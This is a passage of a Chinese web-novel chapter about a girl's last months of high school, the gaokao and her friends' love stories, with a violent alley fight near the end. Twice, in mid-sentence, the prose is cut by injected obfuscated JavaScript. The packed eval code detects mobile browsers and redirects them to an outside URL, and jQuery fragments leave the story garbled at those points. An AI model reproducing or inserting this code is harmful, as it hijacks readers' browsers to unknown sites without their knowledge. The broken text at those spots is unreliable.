视线越来越模糊,她一遍一遍地问,为什么呢,为什么他们一起出校门的时候,什么都好好的。 分开不过几个小时,一切就天翻地覆。 她百般询问,无人应答。 到最后,她想通了—— 明天参加了每一场竞跑,却永远跑不过偶尔参赛的意外。 意外总是会比她期盼的人和事提前一步抵达。 林桑告诉自己。 没事的。 这已经是第二次了。 她很快就能接受的。 …… 消息传得沸沸扬扬,但班上的人都会避开她去谈论这个事,林桑在他们眼里,看到了太多情绪。 她开始抵触和其他人对视,依旧每天麻木地背书刷题,适珈蓝无计可施,方倚霏和鲁琳知道后,每天有空就会拉着她到走廊吹风聊天。 林景和柳靳于也偶尔会来班上找她,就连游书涧,也会在路上碰上时和她说说话。 上半学期很快结束,学校只放了十天假。 过年那两天,奶奶突然问起沈听原。 这事他们一直不知道。 林景当时按着遥控器的手一顿,看了眼林桑,随口道:“他学籍不在这,回榆城备考了。” “高考结束了就过来。” 林桑没说话,奶奶不疑有他。 那天晚上,林桑一个人跑到鸣桐巷11号放烟花。 出来锁上门后,她走到隔壁门口站定。 屋内黑灯瞎火,只有墙壁上挂着的灯发出昏黄的光。 她从包里拿出手机,点开置顶聊天框,把刚刚录的烟花视频发了过去。 这段时间,她一有手机就会打开这个聊天框发消息过去。 有时候是碰到了什么事,有时候是成绩,有时候是在网上看到的段子。 絮絮叨叨,满屏都是绿色的聊天气泡。 林桑也是第一次发现,自己竟有这般旺盛的分享欲。 那些消息,她从未得到过回复。 但她坚信,只要发出去了,那头的人一定会看。 至于回不回复,不重要了。 在他们这个连校纪校规都敢无视的年纪,无能为力的事少之又少。 他们常以为考不到理想的成绩,不敢靠近喜欢的人就已经顶天。 在最鲜活、最青春的时候碰上这种事,任何一个人都做不到在第一时间从绝境中反击。 换了她,也会是同样的选择。 她理解,所以从不期望他能回复。 反正,她的小英雄只是暂时陨落。 改日他一定会冲破阻碍,一路披荆斩棘回到她身边的。 一定会。 * 假期很快结束,备考也到了一个紧张的阶段。 林桑很少会想起他。 直到三月的一个周六,第二次听力考试。 林桑第一次考了满分,教室都用作考场,她早上得待在寝室,等到考试结束后才能去教室。 但她还是早早起床和适珈蓝一起去了食堂买早点,买完早点后,教室去不了,她和适珈蓝坐在学校大门口的林荫道旁吃早点。 听力考试一共设了两个考点,一个在云亭一中,一个在云亭附中。 适珈蓝这次被分到了附中,两人吃完早点待了一会儿她就去集队了,老师开始催促买早点的高一高二的学生抓紧时间回宿舍。 林桑跟着人流往宿舍楼走,不禁想起,第一次听力考试的时候。 那个时候沈听原被分到附中,她则就在一中,沈听原回来之后说有点倒霉,教室喇叭出了点问题,前几题没听太仔细,估计还得再考一次。 后来出成绩,沈听原考了25分。 老师常说一分就能干倒三千人,他当时也挺坦然的,开玩笑说还没高考就已经被一万五千人踩在脚下,得争取下一次考的时候把分数追回来。 那时他们怎么也想不到,他说要再考一次的试,就这样没了机会。 明明没过去多久,她竟有些记不起,这是他离开的第几天。 只记得,那天是1月28号,一个有雨的日子。 林桑看着一中的学生走后,附中的学生陆陆续续从学校大门进来。 那一刻,她脑海里浮现出一个想法。 如果沈听原在的话,他们此刻是站在一块,还是像之前一样,她给他加完油之后,他跟着队伍往附中走。 脸颊上渐渐有了湿意,林桑从那边收回视线,转身回了宿舍。 那之后,月考,县统测,联考,一模二模三模,各种大大小小的考试源源不断。 每天都被考试和查缺补漏占据,她没再想起他。 游书涧每次考完试后,都会把沈听原那一沓涂了缺考的答题卡收在一起拿给林桑。 适珈蓝起初没在意,直到某天下午,林桑去上厕所,她回教室。 林桑让她帮忙带本书到背书的地方。 那本书放在桌肚里,适珈蓝随手一抽,一沓答题卡滑了出来,哗啦啦落在地上,铺了一片。 她愣了一下,把书放到桌上才蹲下身去捡。 低头看清后,适珈蓝彻底愣住了,眼眶酸涩,无力到连一张薄薄的答题卡都快要拿不稳。 这些写了沈听原名字,涂了缺考的答题卡全被写得满满当当。 最令她惊讶的,是上面的字迹。 她见过沈听原的字,下笔很重,笔锋苍劲凌厉。 林桑下笔则很轻,每个字都工工整整。 答题卡很明显不可能是沈听原写的,但上面的字迹。 和他本人写的,一模一样。 她不敢想,林桑是以什么心情将这些答题卡写满的。 甚至,还将他的字迹模仿得出神入化。 他们每天相处的时候是怎么样的,她一直都看在眼里。 适珈蓝忽地想起一件很平常的事,分了文理科后,每次考试林桑都不会等晚上自习结束了开始布置考场才搬书,经常是什么时候想到就什么时候搬。 沈听原扑了几次空后,明明懊恼,却没霸道强硬地要求林桑一定要等他来帮忙搬,而是跟做题一样,自己找了规律。 之后林桑每次收拾完准备搬,他都会准时出现在门口。 当时班上好几个女生都开玩笑说以后一定得谈个这样的。 在类似的一件件寻常小事之中,她看到了沈听原对林桑的真诚和用心。 最重要的是,他很尊重她。 而林桑呢,从初中开始就一直暗恋他,时隔几年,得偿所愿。 他们过去那般好,不该是这样的结局。 他们就该像她之前所想的那样,一路相伴,考同一所大学,从校服到婚纱,一起共白头。 一滴晶莹的泪珠从眼眶溢出,滚落在答题卡上,明明无声,适珈蓝却觉得有“咚”的一声砸在心头上。 答题卡湿了一片。 适珈蓝匆忙从桌上扯了张纸巾在上面按压,怕其他同学会察觉,适珈蓝胡乱抹去眼泪,将那些答题卡都理顺放了回去。 * 临近高考时,学校担心他们太过紧张,心理压力过大,专门从外面请了几个专家到学校开心理疏导讲座。 最初那几场讲座都很枯燥,一会儿给他们灌输“先苦后甜”思想,一会儿让他们站着平举双手,保持二十分钟不能动,说是坚持下来了就证明有毅力,能考上。 几次下来,都觉得这哪是什么心理疏导,完全是折磨人。 最后一场讲座的时候,那个专家很有趣,说他们这几天肯定听了不少,估计都腻味,他就跟他们聊聊天。 结束前,他说要是真怕到时候紧张,可以备两条巧克力放着。 讲座结束后,林桑和适珈蓝想着这个专家看上去比其他几个靠谱不少,就计划着等周天出校了就去买几条巧克力备着。 结果周天出校发现,附近的店都挤满了人,全是买巧克力的。 林桑带着适珈蓝去了万顺副食店。 一见到她,何爷爷四处看了看,小声跟她说:“这德芙巧克力,以前都嫌贵,没什么人买。” “今天来了一堆人,全是买这个的。” “我一看都穿着你们学校的校服,问了一嘴才知道,是怕考试的时候紧张吃的。” “给你藏了两盒,在休息室,你自己去拿。” 林桑笑:“谢谢爷爷!” “跟我还讲谢不谢。”何爷爷摆摆手说,“快去拿,别让别人看到,我跟他们说卖完了。” 距离高考只剩下几天的时间,担心他们在外面吃东西吃杂了影响身体,周天不让出门太久,林桑拿了巧克力后,陪适珈蓝去买了点东西就回了学校。 他们的教学楼已经封锁了,暂时搬到了实验室里复习。 两人从前门进去的时候,前面聊天的几个女生见到她,都默契地看了过来。 一个女生指着她的座位说:“有人给你送了点东西。” “奇怪了,最近连来看望的家长都不让进学校,只让在门口等,不知道他是怎么进来的。” 林桑原本还带有幻想,听到这句话,她明白了。 不是他。 林桑和女生道了谢,看着她座位的方向,一步一步走了过去。 实验室的桌子比一般教室里的桌子要宽大许多,适珈蓝和她又正好轮到坐最后一排,几乎是抵着最后方的墙壁,距离有点远,她没看清桌上是什么。 走近后才发现,桌上放了一个泡沫箱,上面有一个透明的笔袋,里面放了一张纸条,四支考试专用碳素笔,四支削好的2B铅笔,还有一个考试专用橡皮擦。 林桑放下手里的东西,拿起笔袋打开,从中抽出纸条。 打开一看,上面是熟悉的字迹。 ——高考诸事顺利。 后面还画了一个小笑脸。 林桑垂眼看了一会儿,将纸条合上揣进兜里,而后缓缓打开泡沫箱。 最先映入眼帘的是两袋冰袋,林桑将冰袋挪开,下面是两盒德芙黑巧。 本以为这就完了,想将盖子合上时,突然发现底下好像还有东西。 林桑把冰袋和两盒黑巧都拿了出来,一个纯黑长方形的盒子出现在眼前。 盒子外面是丝绒的,沾染了零零碎碎的水珠。 中间有个蜿蜒的烫金浮雕线条,看不出来是什么意思。 盒子左上角,印有一个金色的圆圈,里面有四个字—— 一纸花约。 林桑没看出来这是什么东西,拿起来打开看了一眼,一张纯黑的纸上,有两行金色的字—— “与你有说不完的爱” “这一次,我用一纸花约留住你” 林桑顿了一瞬,掀起一角,里面是小小的黑色长方形盒子,整齐地码成两排,上面印有紫色的字样。 看上去是各个国家的语言。 林桑还是不知道这是什么,正纠结着要不要拆开看看,适珈蓝瞥了一眼道:“一纸花约啊。” 林桑偏头:“你知道?” 适珈蓝昂了一声说:“刷视频的时候刷到过,也是巧克力。” 林桑点点头,合上盖子将东西悉数放回泡沫箱里。 实验桌下空间很大,林桑把东西塞进桌下后就没再管。 适珈蓝本想说点什么,瞥见她的动作,话在嘴边囫囵转了几圈,又被她吞了回去。 …… 云亭最近气温平均在三十多度,一到晚上又闷又热。 晚上第一节自习结束后,班上有人哀嚎了一声:“天哪,这才3号,我巧克力化了!!!” 此言一出,班上大部分人都开始检查自己的巧克力,有人一看化了,也懒得等到高考,直接拆开吃了。 前面的女生买了一盒,见已经软了,转过身分给她们。 瞥到林桑放在一旁的泡沫箱,女生问:“你这是啥?” “巧克力。”林桑说。 女生懂了:“放冰袋了?” 还不待林桑回答,她又道:“真有先见之明,早知道我也弄个冰袋了。” “不过,”女生往嘴里塞了一块巧克力说,“就这天气,估计也撑不到高考那两天。” “我还是打算等考试前一天让走读生帮我带两条。” “……” 女生这一番话算是点醒了她,晚上自习结束后,理科班在二楼,林桑抱着泡沫箱到楼梯口等林景。 她把东西给他让他带回去帮忙放冰箱里,林景也没多问,拿着东西和她聊了两句就走了。 * 他们一路看着高考倒计时从原来的300多天到只剩下1天。 那种感觉,难以言喻。 有紧张,也有马上就能解脱的感觉。 考试前一天傍晚,一辆消防车缓缓驶了进来。 学校围墙外面有一条道,另一辆消防车也在围墙外停稳。 学校也没火灾,所有人都好奇地停在附近打量消防车是来干嘛的。 过了一会儿,有老师拿着喇叭到空地上,开始疏散在一旁围观的学生。 将学生都疏散开后,老师往消防车的方向比了个手势退开。 顷刻间,两道巨大的水柱在空中相撞,形成一道巨型拱桥。 天空中彩云飘荡,在夕阳的辉映下,“拱桥”旁出现了一道彩虹。 见状,周边同学都开始兴奋地讨论什么“跃龙门”之类的,总之就是寓意好。 讨论的正起劲,有老师路过,无情地将他们的幻想打破。 “跃什么龙门,就单纯天气热,怕你们明天考试中暑,洒水降降温。” 有人喊:“老师你别说了,我就当没听到!” 见有人跑到水柱下抬着头,老师又喊道:“你们当那个水是矿泉水呢,里面一堆白色的东西没看到啊,还张个大嘴巴搁那看,赶紧回来!” 水柱下的几个男生闻言,喊道:“无所谓,死不了,明天依旧能高考!” 围观的人都爆笑如雷,老师也没辙,叮嘱了几句就由着他们闹。 楼上不知道是谁带头喊了一声“高考加油”,一时间不少人也跟着喊。 喊到最后,还合唱了几首歌,一直闹到了自习前有老师过来才平息。 考试那两天,刘乔千特意推了工作回来陪考,大伯和大伯母也回来了,一大家子人全部围着她和林景打转。 考完当天,在饭店里订了位庆祝他们终于迈过了人生第一个大关。 一晚上不知收了多少红包,林桑都没打开看,一股脑塞进了书包里。 吃完饭后,回家洗澡换了衣服,林桑才出门往班长发的聚会地点赶。 像是要证明他们已经长大了一般,聚会地点定在一家KTV,名字叫金色印象。 林桑到的时候,班上大部分人都在了,有人甚至连衣服都没换,穿着校服到处敬酒。 人到齐后,班长发表了一番毕业肺腑之言,一群人应和着,有人哭,有人笑。 喝了几次酒后,林桑坐在角落里,点开那个置顶聊天框,和他分享最近的事。 陆陆续续发了几条后,顶端跳出一条消息,是方倚霏发过来的,问她在哪个包厢。 几分钟后,林桑又收到了她的消息,说是她在门口,让林桑和适珈蓝出去一趟。 适珈蓝捧着话筒跟人合唱唱得正陶醉,林桑等了一会儿,在间奏响起的时候才过去拍了拍她。 适珈蓝:“咋啦?” 林桑指了指门外:“霏霏让我们出去一趟。” 适珈蓝把话筒递给旁边的人,起身跟着她往外走。 两人推开门出去,方倚霏和鲁琳就在门口,方倚霏手里捧了一束花,身侧多了个人。 是之前那个学长。 几人面面相觑,方倚霏大方地挽上男生的手臂说:“介绍一下,我男朋友,焦舜与。” 焦舜与有些不好意思地挠了挠后脑勺说:“你们好。” 适珈蓝不可思议地瞪大眼睛:“你们……什么时候的事,怎么一点预兆都没有!” 方倚霏笑了一下,焦舜与说出门给她们买点东西就离开了。 焦舜与走后,方倚霏才将一切全盘托出。 那次送东西吓到她后,焦舜与就很少会出现在她面前,只是经常会找她聊天。 后来,他开始在周末约她一起出门,怕她担心被别人看到,每次都是和她保持着一定的距离。 他会记得很多关于她的事,哪怕只是很小很小的,她自己都不在意的事情。 她深知自己就算真的运气好和李宇栖一起考进了东城大学,她那段暗恋也不会有窥见天光的机会。 焦舜与打动她的地方越来越多,甚至,他起初只上了一所职业学校,为了她,退学重新复读。 前两年出了新制度,公立学校不再招收自费生和复读生,焦舜与只能找了其他地方的私立学校。 两人一到周末就互相分享最近有没有进步,她准备艺考期间最难熬的那段日子,也是他一直陪着她,一直鼓励着她。 那时她才发现,比起酸涩难捱,因为后顾之忧不敢说出口的暗恋,她还是更喜欢有人将一颗热烈赤忱的心都放在她身上。 她也渐渐明白了,与其执着那个在她青春里短暂闪耀过,如流星般转瞬即逝的少年,不如回头看一看,那个一直陪在她身后的人。 方倚霏笑了一下道:“暗恋的人也喜欢自己这种事,得有百分之一千的运气才能碰上,我就不想了。” “不过,能遇上焦舜与,我运气好像也不是很差。” 她说完,发现其他人都丧着一张脸,不爽道:“你们怎么回事啊,都不祝福我。” 适珈蓝第一个嚎了出来,虎扑过去抱住她:“你能想通太好了,你们一定要幸福。” 鲁琳也擦了擦眼角的泪水,上前抱了抱她:“希望你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790128|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能一直走下去。” 方倚霏看向林桑:“你呢?” 林桑怔了一下,回过神,“希望你们,未来的日子里,万事顺利。” 方倚霏仰头直笑:“谢啦。” 待了一会儿,林桑想到什么,转头刚准备开口,瞥到方倚霏怀里的花,又憋了回去。 方倚霏许是察觉到了,扭头问:“怎么了?” 林桑顿了几秒才道:“现在说这个好像有点不合时宜,但……你不会觉得遗憾吗。” “毕竟,”她委婉地说,“也挺久的。” 方倚霏轻轻弯起唇道:“没什么啦,这世上本就遗憾事居多嘛。” 林桑眼睫颤了颤,没再说话。 过了一会儿,肩头多了一道力,方倚霏靠了过来,低声问:“如果,我就是打个比方,不是咒你们哈。” “就是吧,那个……” 自从沈听原休学后,所有人都在她面前闭口不谈他,林桑直截了当道:“没事,你直说。” 方倚霏顿了顿,“如果,他暂时回不来,这个暂时,可能是一年,也可能是几年,你……” “要等他吗?” 林桑默了一瞬:“再说吧,他现在都不理我,我才不要等他。” 她笑得释然,可那微弱的灯光下,她那双溢满忧愁的眼睛,是发亮的。 …… 焦舜与给她们每个人都买了一杯奶茶,在门口聊了会天后,都收到了各自班里要准备拍合照的消息。 他们没再多聊,各自回了包厢。 拍完合照后,林桑觉得有些闷,想出去透透气。 一开包厢门,柳靳于站在门口,手里捧着一束小小的花。 考完去吃饭的时候叫过他来着,结果一直没见到他人。 两人都怔了一下,柳靳于开口道:“怎么出来了?” 林桑反手关上包厢门,“出来透透气。” 柳靳于“哦”了一声,陪她站在过道上。 静默许久,柳靳于突然开口:“金金。” 林桑:“嗯?” 柳靳于垂眼看着她头顶上的旋,嘴唇翕动,“我……” 没了下文,林桑心一紧,下意识抬眼:“怎么了?” 柳靳于撇开眼:“哦,没什么。” “你以后去了北城,可别忘了联系我。” 林桑暗暗松了一口气,笑道:“放心吧,不会的。” 柳靳于低低地“嗯”了一声,将手里的花递给她说:“班主任给班上的人都订了一束,我一个男生捧着这么束花怪别扭的,给你了。” 林桑:“好歹是老师的心意,你给我不合适吧。” 柳靳于:“他说不想要可以送人,班上大部分男生都送出去了。” 他拿着花的手一直停在眼前,林桑伸手接过:“那就,谢啦。” 柳靳于轻笑:“不用。” “……” 闹到九点多后,有人已经醉得不行,陆续开始散场。 林桑一个人往外走,下楼的时候,前台传来一阵动静,她下意识看了过去。 一个小哥手里拿了一束花放在前台柜台上,说是怎么都联系不上人,让他们帮忙问问有没有哪个包厢订了花。 那是一束火红的玫瑰花,娇艳欲滴,外包装不是常见的黑色,而是白色,带纱,像是新娘的头纱一样,很漂亮。 林桑没忍住多看了两眼,在前台将花收起后才收回眼。 许是这一片今晚活跃着不少刚毕业的学生,附近的店都还开着,就连林桑常去的那家八点就打烊的奶茶店也还开着。 林桑走到门口,脚步顿住,转身去了另一个地方。 她买了一杯酸奶紫米露,一个人找了个藤椅坐下,抬头数星星。 …… 柳靳于从金色印象出来后,心情格外郁闷。 他很早以前确实是觉得被林景比下去落了面子,所以才会总和他作对,就为了证明自己不比他差,不就是对人好,他也会。 可在长时间的相处下,他突然发现这个一直以来在他眼里只是饭局上会出现,成绩被夸上天的女孩,好像和他想的不太一样。 但他那时对喜欢一个人这种事没什么概念,他经常找她讲题,他们之间从未插进来过任何人。 他也因此,从未深究过自己对林桑多出来的那一份感情。 直到沈听原出现。 见到他们待在一起时,那种心情,他从来没有过。 也是第一次,她身边出现异性时,他会无比在意。 他本觉得沈听原和林桑认识的时间哪比得上他们认识的时间,他正视这份感情,并毫无保留地说出口。 胜算大的人,一定是他。 后来他才发现,他错了。 他们哪怕只是谈论很简单的小事,林桑都会开心得像是在谈论什么新鲜事。 她看沈听原的眼神,他认识她这么多年,第一次见。 他想,那就再等等。 青梅竹马之间,总会出现一个不太一样的天降。 说不定,她只是图个一时新鲜。 如今,机会出现在眼前。 以一种令人唾弃的方式出现在他眼前。 趁人之危。 他要是这么做了,她以后会怎么看他,他不敢想。 想说的话最终没能说出口,就连特意为她买的花,也是找借口才送出去的。 他漫无目的地在街道上走着,走了一会儿,从包里摸出烟,刚点上抽了一口,巷道里传来一道声音。 “妈的,总算被老子给逮到机会了。” “怎么样,病秧子,看在你身体不行的份上,爷爷我给你个台阶下。” “跪地上学几声狗叫,再给爷爷我磕几个头道歉,我就考虑放过你。” 这话一落,响起几道笑声。 那道声音又响了起来:“那天跟你一起那个婊子呢,去哪了,让她也来给我……” 这种事见怪不怪,他现在没心情,也没那么多闲工夫去管别人的事,只觉得吵。 柳靳于不耐地啧了一声,抬脚准备找个安静的地方。 下一秒,巷道里响起一道有些耳熟的声音。 “找死。” 随后,传来打斗的声音。 他细想了一下这道声音究竟在哪听过,几秒后,反应过来了。 柳靳于暗骂了一声,掐了烟抬脚往巷道走。 巷道内有一盏昏黄的灯,灯下,一个胖子被按在地上,骑在他身上的人,低着头,在鸭舌帽的遮挡下,柳靳于看不清他的脸。 只能看清他一拳一拳落在胖子嘴上,那胖子嘴边已经糊满了血。 柳靳于蹙眉倒吸了一口气,嘴角抽了抽。 其他几人在那人身上踹了几脚发现他像是感受不到痛一样后,有人骂了一声,从一旁拎了根钢管。 柳靳于反应很快,冲过去一脚将人踢得飞出去一米远。 剩下的几个见状,扶起被他踢飞的人后,捡起钢管迎了上来。 柳靳于将那几个人都放趴下后,转头看了一眼,拦住沈听原。 “差不多行了,一会儿不好处理。” 沈听原像是清醒了几分,停了一瞬,挣脱他的手,带血的手死死掐在胖子脖子上。 他哑声开口,话音里带了戾气:“用那两个字说她,你怎么敢的。” 一瞬间,柳靳于就反应过来了。 沈听原休学后,林桑每次出门林景都会跟着,后来有天有事就找了他。 柳靳于当时问了一嘴,林景也没瞒着,说是篮球运动会的时候跟季颂仰起了冲突,而且他们之间本来就有点恩怨,沈听原担心他不在的时候季颂仰会去找林桑麻烦,就让他多注意点。 所以,他刚说的那两个不堪入耳的字眼。 是在说林桑。 柳靳于好不容易压下去的那点不爽又涌了上来,他骂了一声,抬起脚就踹在季颂仰身上。 季颂仰喘不过气来,身上挨了重重的几脚,只得一声一声痛苦地闷哼着。 到最后,跟在季颂仰身后的那几个小弟实在看不下去,跪在地上求饶。 季颂仰也含糊不清说着什么,两人停了手,季颂仰的那几个小弟观望了一会儿才敢上前带着人离开巷道。 等人走后,沈听原往墙根靠了靠。 柳靳于在他身侧坐下:“回来怎么不跟她说?” 沈听原喘着粗气,有气无力地道:“这不是想给她个惊喜。” 柳靳于瞥了眼他手上的血:“你大爷的,这哪是惊喜,惊吓还差不多。” 沈听原没再说话,季颂仰从包里摸出烟衔上,又抖出一支递给他。 见他接了,柳靳于挑了下眉:“你不是不抽烟?” 沈听原没答,含着烟仰头靠在墙上:“火。” 柳靳于啧了一声,摸出火机帮他点燃,又点燃自己的。 他仰头吐了口烟圈道:“她今晚看上去心情不太好,你趁早收拾干净去见她。” “听到没?” 身侧没动静,他不耐烦地转过头:“不是我说你……” 眼前的景象让他一愣。 沈听原指尖夹着烟,低垂着头靠在墙上,一动不动。 柳靳于慌了一瞬,吞了吞口水道:“不是哥们,你要碰瓷啊,我是有点钱,但我刚刚帮了你,不带这样的吧。” 他还是没动静,柳靳于僵硬地抬起手,掀开他头上的鸭舌帽。 对上沈听原惨白的脸和毫无血色的嘴唇,他瞳孔骤缩,指尖的烟滑落在地上,他骂了一声才手忙脚乱地摸出手机打电话。 …… 林桑也不知道自己保持着同一个动作坐了多久,直到远处传来烟花炸开的声音她才动了动,肩膀和脚底都隐隐开始发麻。 林桑偏头往烟花升起的方向看去,好像是金色印象前。 这场烟花持续时间很长,林桑捧着酸奶紫米露仰头看着。 临近结束前,烟花炸裂的声音里,夹杂了救护车的声音。 林桑莫名抖了一下,在炎热的盛夏夜晚,手脚越来越冷。 她最近很敏感,尤其是听到救护车的声音时,脑海里总会浮现出一些画面。 烟花已经停了,她收回视线,看了眼手里的酸奶紫米露,止住那些不好的想法在脑海里扩散。 只当是手里的酸奶紫米露太过冰凉。 26.第 26 章 高考结束了,没了刷题来麻痹神经,那些积压已久的情绪全都涌了上来。 林桑状态一天比一天差,经常不吃饭,把自己关在房间,甚至到了捧着手机自言自语的地步。 外公和何爷爷以为她是担心成绩,好说歹说劝了几天。 无果。 实在没辙,只能找林景和柳靳于。 也是这时,他们才知道,沈听原生病了。 具体情况未知。 只知道,得花费不少时间和精力去折腾。 外公想起那个下午,他还以为,只不过是年轻人之间闹了点小别扭。 外公看了眼林桑的房间,满眼心疼,无力地摇摇头,什么都没说,只是拍了拍林景和柳靳于的肩膀。 林桑在家里窝了几天,被林景和柳靳于绑出门。 他们带着她一路向北,把能玩的地方都玩了个遍。 怕影响到他们的好兴致,没几天她就恢复了原样。 只是晚上一个人待在酒店的时候,会看着对话框发呆。 出成绩前,他们已经从北向南到了东城。 一过十二点,群里就热闹起来,都在谈论怎么查不到成绩。 还是陈雪出来说要等早上才能查到后,群里才慢慢安静下来。 三人在玩斗地主,见林景已经发完牌,林桑将手机锁屏道:“马上出成绩了,你们打算报什么学校?” 林景理着牌:“打算报个东城的,我那点成绩也报不了什么好学校,以后就过来这边跟你大伯学学怎么做生意。” 林桑点点头,看向柳靳于:“你呢?” 柳靳于顿了一下,“我啊……” 他想了想道:“按往年来看,我估的分过一本线没问题,录上哪个算哪个吧。” “主要是,我打算去当兵。” “发展好的话,以后估计就留队了。” “……” 就这么打着牌聊来聊去,等犯困的时候一看,已经四点了。 林桑回了自己的房间,洗了把脸后,那点困意全消散了。 她窝在床上,找了个电影打发时间。 林桑没睡多久,仿佛也就刚闭了眼,马上就被吵醒。 班群里后续还要通知不少事情,她没设置免打扰。 这会儿消息声响个不停。 群里已经开始谈论今年的分数线,林桑猛然起身,打开网址开始输准考证号。 网卡了一会儿,林桑一颗心紧张得几乎要跳到嗓子眼。 界面缓缓弹了出来,却没有成绩,以为网卡,林桑在屏幕上滑了几下刷新。 可能是太过紧张,刷新了几次她才注意到页面下方有一行小字: “你的位次已经进入全省前50名,具体情况请于27日查询” 林桑呆愣地看着这行字,半晌才反应过来这意味着什么。 手机消息一直没停过,不少人都发消息问她考了多少分,林桑一一回复没查到。 林景和柳靳于过来敲门,林桑关了手机起身下床去开门。 林景:“怎么样?” 林桑:“没查到。” 林景起初没反应过来,喃喃道:“难道是网不好……” 一旁的柳靳于笑了一下:“进前五十了吧,恭喜。” 林景这时才后知后觉:“还得是我妹,厉害!” “……” 虽然心里已经有了底,但到了27号查成绩这天林桑还是有点紧张。 愣是犹豫了几次才敢输入准考证号。 这次界面没像之前那样卡顿,异常丝滑。 成绩就这么猝不及防跳了出来: 语文:128 数学:136 外语:145 文科综合:262 量化成绩:22 总成绩:693+10(内地农村彝壮) 文科考生全省位次:10 林桑看着成绩,抬眼看向满满一书架的书和那一摞比她还要高的试卷,有种苦尽甘来的感觉。 她沉默地看了一会儿,和其他人报完喜后,打开置顶那个聊天框,犹豫了几秒,把截图发了过去。 之后,便是回学校报考。 一群人凑在一块,翻着从班主任那领来的厚厚两大本《志愿填报指南》。 林桑小时候想法很多变,今天梦想以后当宇航员,明天梦想当个老板娘,直到初中那会儿,跟着奶奶看电视的时候,了解到了外交官这个职业,注意力再没被其他职业吸引走半分,她一有空就喜欢上网找各种关于外交方面的视频看,她最崇拜的外交官就是北城外国语大学毕业的,那之后,她一直以此为目标。 她从一开始就考虑好了,报完北城外国语大学的外交学专业后,为了保险起见,把其他学校的外交学也报上。 机房这会儿是其他班在用,她百无聊赖地翻看着《志愿填报指南》。 适珈蓝埋头在信签纸上奋笔疾书了一会儿,总算停笔。 林桑:“选完了?” 适珈蓝双手合十,语气轻快地说:“完了,精挑细选,全部接受调剂,我就不信上不了。” 她裸分没到一本线,但超了本科线五十分,林桑看了一眼她写的那些学校,还有后面跟着的往年录取分数,笑了一下:“你这个成绩,上这几所学校绰绰有余啊。” 适珈蓝:“家里逼着我全部报师范,我是真不喜欢,但又没办法。” “最近右眼皮老是跳,还是得小心谨慎一点,不然又得骂我不听他们的话。” 两人说着,鲁琳抱着填报指南过来了。 “你们选好了?” 林桑和适珈蓝齐声应:“好了。” 鲁琳:“我这成绩太烦了,不尴不尬卡在那,我打算明天再过来报。” 鲁琳离一本线只有五分,她没任何加分,冒险一把可以冲个好学校,但是一旦疏漏,就只能上个一般的学校。 林桑:“要不我们帮你一起看?” 鲁琳笑着坐下:“正有此意。” 她们翻着书研究了一会儿,方倚霏才慢悠悠地晃了过来。 鲁琳:“你也选好了?” “这么悠闲。” 方倚霏喝了口奶茶说:“我没什么好纠结的啊。” 适珈蓝翻书的手不停:“你还要去东城?” 方倚霏撇撇嘴道:“我不看海了,我要为祖国建设西北出一份力。” “你们以后记得来西北找我,可别舍不得那点路费。” “……” 报考结束后,等待录取结果又是一个漫长的过程。 最近报志愿这个事,让林景和柳靳于十分担心她的状态。 他们都怕她又想到沈听原,担心好不容易变回来的人又被打回原形,报完志愿又带她出了门。 不过因为后续还要回学校几次,没跑太远,就在周边城市逛了逛。 中途去了一个城市,那里有很多能祈福的地方,林桑以前不信这些,那两天把所有能祈福的地方都去了一遍。 她虔诚地跪拜一次又一次。 不求他回来。 只求他治疗顺利,平平安安。 从那个城市离开打算往下一站走的时候,收到了回校取毕业照和档案的通知,只能临时买票返程。 林桑从办公室出来,抱着毕业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790766|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证和老师口中比她命还重要,掉水里都要扔上岸的档案袋,在教学楼和宿舍楼周围转了一圈,一步一步,沿着林荫道往校门口走。 走到门口时,她回头看了一眼,过去的种种如同幻灯片一般在眼前飞速略过。 画面定格在考完最后一科出考场,林桑眸色暗了几分。 她想和他一起打赢胜战,可最后征战沙场凯旋的将军。 只有她。 她视线往更远的地方望去。 沙沙作响的小叶榕下,站了一男一女,穿着蓝白校服,并肩往她来时的路走去。 林桑看着他们渐行渐远的背影,在炽热的夏天,和这段短暂的青春轻声道别。 * 录取结果都出得差不多后,林桑收到了不少升学宴邀请。 到李宇栖的升学宴这天,宴席设在云亭一家饭店里,吃完饭后,李宇栖送她出门。 林桑和他道了别下台阶,倏地被他喊住。 林桑回过头:“怎么了?” 李宇栖想到只是恭喜他却没来参加他升学宴的人,顿了顿道:“就是问问你那几个朋友也都考上了吧。” 林桑点头:“都考上了。” “鲁琳上了云城师范,学地理。” “适珈蓝去了理诏大学,调剂到了泰语专业。” 想到方倚霏,林桑顿了顿道:“方倚霏……去了西北。” 李宇栖眉心动了动:“西北?” “她以前不是嚷嚷着要去东城看海,怎么往反方向跑了?” 林桑默了一瞬:“她没说,可能毕业了想法突然变了吧。” 李宇栖:“就她一个人,没熟人啊,跑那么远,多不安全。” 林桑:“没有,和她男朋友一起,那个男生人不错,会保护好她的。” 李宇栖垂着眼,眼眸中闪烁着失落,他很快抬起眼:“哦,这样啊。” 沉默片刻,他又低喃道:“挺好的。” 林桑没说话,有人出来喊了李宇栖一声,他进了饭店后,她才慢慢地下台阶往公交站走。 一场高考结束,有人欢喜也有人忧,大家都背道而驰,独自踏上了一条未知的路。 * 